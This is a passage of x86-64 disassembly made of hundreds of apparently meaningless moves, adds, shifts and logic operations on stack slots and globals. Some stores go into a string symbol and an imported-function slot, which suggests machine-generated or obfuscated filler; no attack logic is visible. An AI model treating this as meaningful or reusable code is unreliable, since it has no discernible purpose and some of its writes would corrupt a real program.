mov rcx, qword [rsp + 0x6d30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5180], rax
mov eax, dword [rsp + 0x300c]
mov dword [rsp + 0x3074], eax
mov rax, qword [rsp + 0x4dc8]
mov rcx, qword [rsp + 0x5470]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7d30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5360]
mov rax, qword [rax]
mov qword [rsp + 0x83c0], rax
mov rax, qword [rsp + 0x5660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5478]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a150]
mov word [rcx], ax
mov rax, qword [rsp + 0x5120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x152]
sub eax, ecx
mov byte [rsp + 0x1d8], al
movsx eax, word [rsp + 0xd70]
movsx ecx, word [rsp + 0xc40]
add eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x6970]
movzx eax, byte [rax]
mov byte [rsp + 0x1fc], al
mov rax, qword [rsp + 0x5a00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5a18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x130], al
lea rax, [rsp + 0x2f2c]
mov qword [rsp + 0x83c8], rax
mov rax, qword [rsp + 0x50e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5580]
mov qword [rsp + 0x83d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x83d0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5310]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8030]
mov rcx, qword [rsp + 0x5360]
mov qword [rsp + 0x83d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x83d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6440], rax
mov rax, qword [rsp + 0x7218]
mov rax, qword [rax]
mov qword [rsp + 0x83e0], rax
mov rax, qword [rsp + 0x6888]
movzx eax, byte [rax]
mov byte [0x14017a202], al
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e28]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x978], ax
lea rax, [rsp + 0xd30]
mov qword [rsp + 0x83e8], rax
mov rax, qword [rsp + 0x7858]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e6]
xor eax, ecx
mov byte [rsp + 0x1aa], al
lea rax, [rsp + 0xac0]
mov qword [rsp + 0x83f0], rax
mov rax, qword [rsp + 0x71f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e40], eax
mov rax, qword [rsp + 0x5038]
mov rcx, qword [rsp + 0x5758]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bbc], eax
mov rax, qword [rsp + 0x5d88]
mov qword [rsp + 0x83f8], rax
mov rax, qword [rsp + 0x5230]
mov rcx, qword [rsp + 0x7dc0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7cb8], rax
mov rax, qword [rsp + 0x77c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc8]
sub eax, ecx
mov rcx, qword [0x14017a750]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0x1fd], al
movzx eax, word [rsp + 0x984]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a00]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1a4]
movsx ecx, byte [0x14017a057]
add eax, ecx
mov rcx, qword [rsp + 0x6130]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e70]
movzx eax, word [rax]
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0x71d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7080], rax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov qword [rsp + 0x8400], rax
mov rax, qword [rsp + 0x8148]
mov eax, dword [rax]
mov ecx, dword [0x14017a064]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72f8]
mov rcx, qword [rsp + 0x5ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e0c], eax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
mov rcx, qword [0x14017a410]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e96], al
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x8408], rax
movzx eax, word [rsp + 0xc74]
movzx ecx, word [rsp + 0xc70]
add eax, ecx
mov rcx, qword [rsp + 0x83f0]
mov word [rcx], ax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x8410], rax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x195]
xor eax, ecx
mov byte [rsp + 0x1a6], al
mov rax, qword [rsp + 0x59c0]
movzx ecx, al
mov rax, qword [rsp + 0x6f98]
sar rax, cl
mov qword [rsp + 0x5138], rax
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
mov qword [rsp + 0x8418], rax
mov rax, qword [rsp + 0x5b00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2e2c]
shl eax, cl
mov rcx, qword [rsp + 0x7d48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c14]
mov dword [rsp + 0x3078], eax
lea rax, [rsp + 0xa9]
mov qword [0x14017a798], rax
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0x114]
or eax, ecx
mov byte [rsp + 0x1cf], al
lea rax, [rsp + 0x14d]
mov qword [rsp + 0x8420], rax
mov rax, qword [rsp + 0x7370]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7770]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x67a8]
mov word [rcx], ax
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa0], ax
lea rax, [rsp + 0x6570]
mov qword [rsp + 0x8428], rax
mov rax, qword [rsp + 0x83c8]
mov rcx, qword [rsp + 0x7ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5200]
mov dword [rcx], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x8430], rax
mov rax, qword [rsp + 0x75c0]
mov rcx, qword [rsp + 0x5ad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3054], eax
mov rax, qword [rsp + 0x6938]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x76f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c3]
add eax, ecx
mov byte [0x140178f13], al
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0x6828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5ca0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc10], ax
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x1ff], al
mov rax, qword [rsp + 0x53e0]
mov rcx, qword [rsp + 0x5d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7840]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5650]
mov rcx, qword [rsp + 0x52b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x8438], rax
mov rax, qword [rsp + 0x5b98]
mov ecx, dword [rsp + 0x2ba8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a74], eax
mov rax, qword [rsp + 0x7c98]
movzx eax, word [rax]
mov word [rsp + 0xeb4], ax
movzx eax, word [0x140178f90]
mov rcx, qword [rsp + 0x6e18]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140178f68], ax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x6100]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xde8], ax
mov rax, qword [rsp + 0x6be8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8c]
shl eax, cl
mov byte [rsp + 0x1b9], al
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x8440], rax
mov rax, qword [rsp + 0x7528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7808]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e28], rax
mov rax, qword [rsp + 0x6278]
mov eax, dword [rax]
mov dword [rsp + 0x307c], eax
mov rax, qword [rsp + 0x76a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7100]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8120], rax
lea rax, [rsp + 0x2f0c]
mov qword [rsp + 0x8448], rax
movzx eax, byte [rsp + 0x114]
movzx ecx, byte [rsp + 0x169]
add eax, ecx
mov byte [rsp + 0x181], al
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6688]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178f16], al
movsx eax, byte [rsp + 0x109]
movsx ecx, byte [rsp + 0x146]
add eax, ecx
mov rcx, qword [rsp + 0x5bc8]
mov byte [rcx], al
mov rax, qword [0x14017a090]
movzx eax, byte [rax]
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0x75d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d40]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8408]
mov word [rcx], ax
lea rax, [rsp + 0x7828]
mov qword [rsp + 0x8450], rax
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2afc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x78f0]
mov rcx, qword [rsp + 0x72c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e50], rax
mov eax, dword [rsp + 0x3018]
mov dword [rsp + 0x3080], eax
mov rax, qword [rsp + 0x7460]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa38], ax
mov rax, qword [rsp + 0x76f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x990]
sub eax, ecx
mov word [str._v_], ax
movzx eax, byte [rsp + 0x137]
mov byte [rsp + 0x201], al
movzx eax, byte [0x140178e96]
mov rcx, qword [rsp + 0x5488]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x163], al
movzx eax, word [rsp + 0xb94]
mov rcx, qword [rsp + 0x81d0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xab0], ax
lea rax, [rsp + 0x1a4]
mov qword [rsp + 0x8458], rax
mov rax, qword [rsp + 0x83c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14017a060]
shl eax, cl
mov dword [rsp + 0x2ac4], eax
mov rax, qword [rsp + 0x7808]
mov qword [rsp + 0x8460], rax
mov rax, qword [rsp + 0x7c50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5950]
sar rax, cl
mov qword [rsp + 0x6338], rax
mov rax, qword [rsp + 0x6c08]
mov eax, dword [rax]
mov dword [rsp + 0x3084], eax
mov rax, qword [rsp + 0x5b40]
movzx eax, byte [rax]
mov byte [0x14017a203], al
mov rax, qword [rsp + 0x7258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd9c]
and eax, ecx
mov word [rsp + 0x89c], ax
movzx eax, word [0x140178f90]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xda8], ax
lea rax, [rsp + 0x9a4]
mov qword [rsp + 0x8468], rax
mov rax, qword [rsp + 0x6da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6f58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov qword [rsp + 0x8470], rax
mov rax, qword [rsp + 0x6800]
mov rcx, qword [rsp + 0x5a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2f7c], eax
mov rax, qword [rsp + 0x7788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x81f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f68]
mov qword [rcx], rax
lea rax, [rsp + 0x2acc]
mov qword [rsp + 0x8478], rax
mov rax, qword [rsp + 0x7538]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x182]
add eax, ecx
mov rcx, qword [0x14017a410]
mov byte [rcx], al
mov rax, qword [rsp + 0x5980]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7470]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [0x14017a3d0]
movzx eax, byte [rax]
mov byte [rsp + 0x202], al
movsx eax, word [rsp + 0xd34]
mov rcx, qword [rsp + 0x6bf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdf8], ax
movzx eax, byte [rsp + 0x9a]
movzx ecx, byte [0x140178ef3]
add eax, ecx
mov rcx, qword [rsp + 0x7c80]
mov byte [rcx], al
lea rax, [rsp + 0x7900]
mov qword [rsp + 0x8480], rax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2b50]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f18]
mov dword [rcx], eax
lea rax, [rsp + 0x8210]
mov qword [rsp + 0x8488], rax
mov rax, qword [rsp + 0x6f40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5748]
mov qword [rsp + 0x8490], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8490]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2d64], eax
lea rax, [rsp + 0x85c]
mov qword [0x14017a7a0], rax
movsx eax, word [rsp + 0x8d0]
mov rcx, qword [rsp + 0x8260]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6528]
mov word [rcx], ax
lea rax, [0x140178ec7]
mov qword [rsp + 0x8498], rax
movsx eax, byte [rsp + 0x71]
movsx ecx, byte [rsp + 0xd6]
xor eax, ecx
mov byte [rsp + 0x1f3], al
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x84a0], rax
mov rax, qword [rsp + 0x8200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ee0]
mov rax, qword [rax]
mov qword [rsp + 0x84a8], rax
mov rax, qword [rsp + 0x5188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5050]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d20]
mov ecx, dword [rsp + 0x2f80]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6380]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x106]
movzx ecx, byte [rsp + 0x128]
sub eax, ecx
mov byte [0x14017a052], al
mov rax, qword [rsp + 0x7cc8]
movzx eax, word [rax]
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0x68e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8358]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0x6c50]
movzx eax, word [rax]
mov word [rsp + 0xebc], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6878]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0x8090]
mov rcx, qword [rsp + 0x5038]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7898]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f0c]
mov dword [rsp + 0x3088], eax
mov rax, qword [rsp + 0x7948]
mov rcx, qword [rsp + 0x5d60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d30], rax
mov rax, qword [0x14017a058]
mov qword [rsp + 0x84b0], rax
mov rax, qword [rsp + 0x65b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x126]
and eax, ecx
mov byte [0x140178eb7], al
mov rax, qword [rsp + 0x77b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x71b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x84a0]
mov word [rcx], ax
mov rax, qword [0x14017a370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xacc]
shl eax, cl
mov rcx, qword [rsp + 0x7718]
mov word [rcx], ax
movzx eax, word [rsp + 0xe64]
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0x7130]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x63c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5098]
mov byte [rcx], al
lea rax, [rsp + 0x65a0]
mov qword [rsp + 0x84b8], rax
mov eax, dword [rsp + 0x2ca4]
mov rcx, qword [rsp + 0x5748]
mov qword [rsp + 0x84c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x84c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2d30], eax
lea rax, [rsp + 0x6f98]
mov qword [rsp + 0x84c8], rax
mov rax, qword [rsp + 0x7eb8]
mov rcx, qword [rsp + 0x6140]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2d80], eax
lea rax, [rsp + 0xe6]
mov qword [0x14017a7a8], rax
mov rax, qword [rsp + 0x5c88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1eb]
sub eax, ecx
mov byte [rsp + 0x182], al
lea rax, [0x14017a4d8]
mov qword [rsp + 0x84d0], rax
mov rax, qword [rsp + 0x7200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x193]
and eax, ecx
mov rcx, qword [rsp + 0x5b68]
mov byte [rcx], al
lea rax, [rsp + 0x954]
mov qword [rsp + 0x84d8], rax
mov rax, qword [rsp + 0x5788]
mov rcx, qword [rsp + 0x7440]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8428]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7df8]
mov ecx, dword [rsp + 0x2b1c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5310]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8138]
mov eax, dword [rax]
mov dword [rsp + 0x308c], eax
mov rax, qword [rsp + 0x7630]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61c8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x94c]
mov rcx, qword [rsp + 0x6350]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a418], ax
lea rax, [rsp + 0x894]
mov qword [rsp + 0x84e0], rax
movzx eax, byte [0x140178e73]
movzx ecx, byte [rsp + 0x1d3]
add eax, ecx
mov rcx, qword [rsp + 0x6f88]
mov byte [rcx], al
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x53e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb00], ax
mov rax, qword [rsp + 0x64a0]
movzx eax, byte [rax]
mov byte [rsp + 0x203], al
mov eax, dword [rsp + 0x2f28]
mov ecx, dword [rsp + 0x2b54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66c8]
mov qword [rsp + 0x84e8], rax
mov rax, qword [rsp + 0x6858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f98], eax
mov rax, qword [rsp + 0x7aa0]
mov rcx, qword [rsp + 0x5450]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5788], rax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x84f0], rax
mov rax, qword [rsp + 0x7620]
movzx eax, word [rax]
movzx ecx, word [0x140178e68]
sar eax, cl
mov word [0x140178fc0], ax
movsx eax, byte [rsp + 0x1fb]
movsx ecx, byte [rsp + 0x11d]
shl eax, cl
mov rcx, qword [rsp + 0x74c8]
mov byte [rcx], al
lea rax, [rsp + 0xc90]
mov qword [rsp + 0x84f8], rax
mov rax, qword [rsp + 0x5cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x940]
xor eax, ecx
mov word [rsp + 0x960], ax
lea rax, [rsp + 0x7c20]
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x5580]
mov ecx, dword [rsp + 0x2b94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f4c], eax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2ddc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c68]
mov dword [rcx], eax
lea rax, [rsp + 0x5788]
mov qword [rsp + 0x8508], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x75e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x58d0]
movzx eax, word [rax]
movzx ecx, word [0x140178f4c]
add eax, ecx
mov word [0x140178f54], ax
mov rax, qword [rsp + 0x57a8]
movzx eax, byte [rax]
mov byte [rsp + 0x204], al
movsx eax, word [rsp + 0xb3c]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e4], ax
mov rax, qword [rsp + 0x7470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb88]
sub eax, ecx
mov rcx, qword [rsp + 0x6e18]
mov word [rcx], ax
mov eax, dword [rsp + 0x2e70]
mov dword [rsp + 0x3090], eax
mov rax, qword [rsp + 0x4f10]
mov rcx, qword [rsp + 0x6538]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
mov eax, dword [0x14017a064]
mov dword [rsp + 0x3094], eax
mov rax, qword [rsp + 0x8160]
mov rcx, qword [rsp + 0x5b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e68], rax
movsx eax, byte [rsp + 0x1c4]
mov rcx, qword [rsp + 0x8128]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7e88]
mov byte [rcx], al
lea rax, [rsp + 0xcb4]
mov qword [0x14017a7b0], rax
mov rax, qword [rsp + 0x7360]
movzx eax, byte [rax]
mov byte [rsp + 0x205], al
movsx eax, byte [rsp + 0x1fd]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x64], al
lea rax, [rsp + 0xd64]
mov qword [rsp + 0x8510], rax
mov rax, qword [rsp + 0x6158]
mov ecx, dword [rsp + 0x3068]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cf8], eax
mov rax, qword [rsp + 0x6fb8]
mov ecx, dword [rsp + 0x2ba8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2de4], eax
mov rax, qword [rsp + 0x61d0]
mov rax, qword [rax]
mov qword [rsp + 0x8518], rax
mov rax, qword [rsp + 0x7ee0]
mov rcx, qword [rsp + 0x66f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5ce8], rax
movzx eax, word [rsp + 0xba4]
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0x6200]
movzx eax, byte [rax]
movzx ecx, byte [0x140178e77]
sar eax, cl
mov byte [0x140178f0e], al
mov rax, qword [rsp + 0x65b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
shl eax, cl
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0x6b40]
movzx eax, word [rax]
mov word [rsp + 0xec8], ax
movsx eax, byte [rsp + 0x14f]
movsx ecx, byte [0x140178ed2]
and eax, ecx
mov rcx, qword [rsp + 0x57b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7fb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa58], ax
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x8520], rax
mov rax, qword [rsp + 0x7ab8]
mov rcx, qword [0x14017a058]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7548], rax
lea rax, [rsp + 0x2e70]
mov qword [rsp + 0x8528], rax
mov rax, qword [rsp + 0x7408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6518]
movzx eax, byte [rax]
mov rcx, qword [0x14017a758]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
mov rax, qword [rsp + 0x6ad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5c20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x83b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6400]
movzx eax, byte [rax]
mov byte [rsp + 0x206], al
mov rax, qword [0x14017a1c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18e]
sub eax, ecx
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov word [rsp + 0xecc], ax
mov rax, qword [rsp + 0x7408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ab0], eax
mov rax, qword [rsp + 0x7bf8]
mov rcx, qword [rsp + 0x7c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8070]
mov rax, qword [rax]
mov qword [rsp + 0x8530], rax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x5788]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x82f8], rax
movsx eax, byte [rsp + 0x165]
movsx ecx, byte [rsp + 0x17e]
shl eax, cl
mov byte [0x140178eb2], al
movzx eax, byte [rsp + 0xf4]
mov byte [rsp + 0x207], al
mov rax, qword [rsp + 0x6778]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab8]
sar eax, cl
mov rcx, qword [rsp + 0x82e0]
mov word [rcx], ax
movzx eax, word [rsp + 0xac0]
mov word [rsp + 0xed0], ax
mov rax, qword [rsp + 0x5620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
xor eax, ecx
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x53c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x81b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f48]
mov rax, qword [rax]
mov qword [rsp + 0x8538], rax
mov eax, dword [rsp + 0x2a04]
mov ecx, dword [rsp + 0x306c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f04], eax
mov rax, qword [rsp + 0x6b58]
mov eax, dword [rax]
mov dword [rsp + 0x3098], eax
lea rax, [rsp + 0xe90]
mov qword [0x14017a7b8], rax
mov rax, qword [rsp + 0x7fc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5108]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x58e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c10]
mov byte [rcx], al
lea rax, [0x14017a5b4]
mov qword [rsp + 0x8540], rax
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd90], ax
mov rax, qword [rsp + 0x6368]
mov eax, dword [rax]
mov dword [rsp + 0x309c], eax
mov rax, qword [rsp + 0x4f10]
mov rcx, qword [rsp + 0x5768]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7510]
mov qword [rcx], rax
mov rax, qword [rsp + 0x66f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7410]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8190]
mov eax, dword [rax]
mov dword [rsp + 0x30a0], eax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb8]
add eax, ecx
mov rcx, qword [0x14017a5a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x80d8]
movzx eax, byte [rax]
